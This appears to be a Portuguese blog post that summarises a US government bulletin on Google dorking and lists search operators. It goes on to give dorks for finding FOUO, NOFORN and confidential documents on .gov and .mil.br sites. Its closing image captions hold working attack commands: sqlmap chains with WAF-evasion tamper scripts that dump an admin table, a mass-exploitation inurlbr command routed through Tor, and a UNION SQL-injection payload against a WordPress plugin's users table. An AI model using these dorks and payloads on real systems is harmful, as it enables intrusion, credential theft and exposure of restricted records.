Google Hacking sinalizado como potencial risco
Um boletim emitido pelo Departamento de Segurança Interna, o FBI e o Centro Nacional de Contraterrorismo no início deste mês avisa policiais e agentes de segurança privada que os cibernéticos maliciosos podem usar "técnicas avançadas de busca" para descobrir informações confidenciais e outras vulnerabilidades em websites. O boletim, intitulado "Malicious Cyber Actors Use Advanced Search Techniques ", descreve um conjunto de técnicas colectivamente referidos como "Google dorking" ou "Google hacking" que usam "operadores avançados" para refinar buscas para fornecer resultados mais específicos. Listas de estes operadores são fornecidos pelo Google.
RECURSO EM DESTAQUE
Apresentado por Riverbed Technology
10 Problemas comuns APM ajuda você a resolver
Conselhos práticos para que você possa tirar o máximo proveito dos benefícios da APM e manter seu ambiente de TI.
O memorando é bastante simples, mas o conteúdo sai como algo que faz pensar por que é necessário tal advertência em primeiro lugar. Isto é, até você começar a procurar os documentos no espaço de domínio do governo. Então, tudo faz sentido.
Ele passa a referenciar de várias flags que podem ser usados no Google para encontrar informações, incluindo o tipo de arquivo, local, URL, e em operadores de texto. Google faz uma lista completa de operadores válidos que é disponível online.
OPERADORES ONLINE=>
https://sites.google.com/site/gwebsearcheducation/advanced-operators
É um exemplo, a nota destaca um incidente em 2011, onde os atacantes utilizado
Google Hacking para descobrir números de segurança social em um servidor FTP Yale University. Outro incidente apontados no memorando centrou-se nas 35 mil sites que foram comprometidos após atacantes usaram o Google para localizar instalações vBulletin vulneráveis.
Uma rápida pesquisa no Google mostra que a nota não faz um ponto válido, como muitos dos sites indexados no espaço do governo oferecem uma variedade de documentos disponíveis para consumo público.
No entanto, do ponto de vista de um atacante, os formulários e documentos internos -, bem como os detalhes de contato sobre alguns deles - oferecem uma maneira de falsa legitimidade durante um ataque direcionado. Muitos dos documentos têm um contexto interno, algo que pode ser aproveitada pelos atacantes, a fim de arranjar algo para abrir um anexo, além disso, os próprios documentos contêm metadados.
Acessando esses documentos em uma ferramenta como o FOCA (Fingerprinting Organizations with Collected Archives), revela detalhes adicionais, tais como autor, endereços de email, convenções de nomeação de rede (incluindo os compartilhamentos de rede), caminhos do sistema (útil para o mapeamento de uma rede ou sistema), títulos de software e números de versão, endereços IP e dados do sistema operacional.
FOCA (Fingerprinting Organizations with Collected Archives)=>
https://www.elevenpaths.com/labstools/foca/index.html
A pesquisa abaixo oferece um exemplo do que o memorando está falando, mas ele terá de ser ajustado a fim de descobrir alguns dos documentos sensíveis. Além disso, as listas prontamente disponíveis de operadores para pesquisa de vulnerabilidades em sites podem ser encontrados por toda a Web, como a lista.
DORK=>
filetype:"xls | xlsx | doc | docx | ppt | pptx | pdf" site:gov "FOUO" | "NOFORN" | "Confidential" | "SECRETO" | "CONFIDENCIAL"
LISTA=>
http://pastebin.com/6tghmhzh
O memorando recomenda que administradores de sites usam robots.txt para evitar diretórios com informações confidenciais sejam indexados, e incentivou o uso do Google Hacking para descobrir os arquivos que já estão no domínio público. De lá, eles podem ser removidos do Google, seguindo as diretrizes do gigante das buscas.
DORK=> Confidential filetype:xls site:.gov
DORK=> filetype:"xls | xlsx | doc | docx | ppt | pptx | pdf" site:.mil.br "FOUO" | "NOFORN" | "Confidential" | "SECRETO" | "CONFIDENCIAL"
Lista simples de operadores.
allintext: / intext: Resultados se restringe a aqueles que contêm todos os termos da consulta que você especificar no texto da página
allintitle: / intitle: Resultados se restringe a aqueles que contêm todos os termos da consulta que você especificar no título
allinurl: / inurl: Resultados se restringe a aqueles que contêm todos os termos da consulta que você especificar na URL
filetype:suffix Resultados limites para páginas,arquivos cujos nomes terminam em sufixo
site: Usando o operador site: restringe os resultados da pesquisa para o site ou domínio que você especificar
sinal negativo ( – ) excluir Colocar um sinal de menos imediatamente antes de uma palavra indica que você não quer que as páginas que contêm esta palavra a aparecer em seus resultados
Pesquisa de frase (o uso de aspas duplas, “…” ) Ao colocar aspas em torno de um conjunto de palavras, você está dizendo Google para considerar as palavras exatas em que ordem exata, sem qualquer alteração
Documento=> Malicious Cyber Actors Use Advanced Search Techniques
FONTE:
http://www.csoonline.com/article/2597556/social-engineering/fbi-issues-warning-about-creative-google-searches.html
![sqlmap -u http://www.site.com/filevuln.php?id=(ID)--dbs --tamper modsecurityzeroversioned.py --level 3 --risk 2 --random-agent --no-cast sqlmap -u http://www.site.com/filevuln.php?id=(ID) -D [DB_NAME] --tables --tamper modsecurityzeroversioned.py,space2morehash.py --level 3 --risk 2 --random-agent --no-cast sqlmap -u http://www.site.com/filevuln.php?id=(ID) --dump -D [DB_NAME] -T cms_admin --tamper modsecurityzeroversioned.py,space2morehash.py --level 3 --risk 2 --random-agent --no-cast](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgF5Qt3qw4SOMHAtWl12fEDtIEiiE9scNyusVWWccFw1gXhvlkNB8YRBRgmxqVfOEKk5FaLyWw7FH0bkx4H77QMR2D9Wdlez-x9efkZPNVK8tOdivtn2RBxqpcf-0nNf3kfO5HAPK_WU6W1/s1600/Untitled-2.png "sqlmap -u http://www.site.com/filevuln.php?id=(ID)--dbs --tamper modsecurityzeroversioned.py --level 3 --risk 2 --random-agent --no-cast sqlmap -u http://www.site.com/filevuln.php?id=(ID) -D [DB_NAME] --tables --tamper modsecurityzeroversioned.py,space2morehash.py --level 3 --risk 2 --random-agent --no-cast sqlmap -u http://www.site.com/filevuln.php?id=(ID) --dump -D [DB_NAME] -T cms_admin --tamper modsecurityzeroversioned.py,space2morehash.py --level 3 --risk 2 --random-agent --no-cast")
![[+] EXPLORING WITH MASS INURLBR: php inurlbr.php --dork 'intext:"Web India Solutions" & inurl:"php?id="' -s sqli.txt -q 1,6 --exploit-get "?&id=1%270x27" --command-vul "sqlmap.py -u '_TARGETFULL_' -p id --random-agent --beep --level 3 --risk 2 --threads 2 --tor --check-tor --tor-type=SOCKS5 --dbs --dbms='Mysql' --time-sec 10 --batch --tamper modsecurityzeroversioned.py" OUTPUT PRINT SQLMAP:](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJe6QiEFdDdA9nJpfdtdzKWkpK6oq1dhMh2ZnZsGzQX_c5qxhiTaT5nHuDSRl8cI1lFNLMZS2WbdtJN4sA2K7wWTGL8dFzgHFBiA1wFE2dE82wT1cr-JSjQ_aLf7HVT9TxsVe8X9bHwvsO/s1600/Untitled-2.png "[+] EXPLORING WITH MASS INURLBR: php inurlbr.php --dork 'intext:\"Web India Solutions\" & inurl:\"php?id=\"' -s sqli.txt -q 1,6 --exploit-get \"?&id=1%270x27\" --command-vul \"sqlmap.py -u '_TARGETFULL_' -p id --random-agent --beep --level 3 --risk 2 --threads 2 --tor --check-tor --tor-type=SOCKS5 --dbs --dbms='Mysql' --time-sec 10 --batch --tamper modsecurityzeroversioned.py\" OUTPUT PRINT SQLMAP:")
![[ + ] INURLBR 2.1 [ + ] EXPLORING: SQLI AND VALIDATING HTML RETURN [ + ] WORDPRESS: Fbconnect [ + ] FILE VULN: fbconnect_action=myhome&fbuserid=1 [ + ] EXPLOIT: and 1=2 union select 1,2,3,4,5,group_concat(0x78706c5f73756363657373),7,8,9,10,11,12 from wp_users where id > 0 exec: fbconnect_action=myhome&fbuserid=1 + xpl](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkt1AD1APHG-Hg6JkyUK9_-oI1awTYbV7YarQb1Gbj4WLCbXyxrfIGPxjOsPt73k9e6Dg1Pq_nQ9QHDMqZIB5y5eXPm4naFE3EERR9104xaYNE9p0CJkk37FIYP-FswiYoPr3-tuMBIKRv/s1600/Sem+t%C3%ADtulo.png "[ + ] INURLBR 2.1 [ + ] EXPLORING: SQLI AND VALIDATING HTML RETURN [ + ] WORDPRESS: Fbconnect [ + ] FILE VULN: fbconnect_action=myhome&fbuserid=1 [ + ] EXPLOIT: and 1=2 union select 1,2,3,4,5,group_concat(0x78706c5f73756363657373),7,8,9,10,11,12 from wp_users where id > 0 exec: fbconnect_action=myhome&fbuserid=1 + xpl")
![Usando [ SCANNER INURL ]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvt6poYcQJTx6oTvd41W5m4K9tegZMY1t0KhAwg4Vzqg8a2Wuhc6mplyBFk5mqZhSM37Eb3mH007kzZNWZYSATrIszM2bLO-_o2ElIsAg299XUsQFhIVqQHCrG88llNT3Pt7HBN3oupgM/s1600/Captura+de+tela+de+2014-06-05+14:46:36.png "Usando [ SCANNER INURL ]")
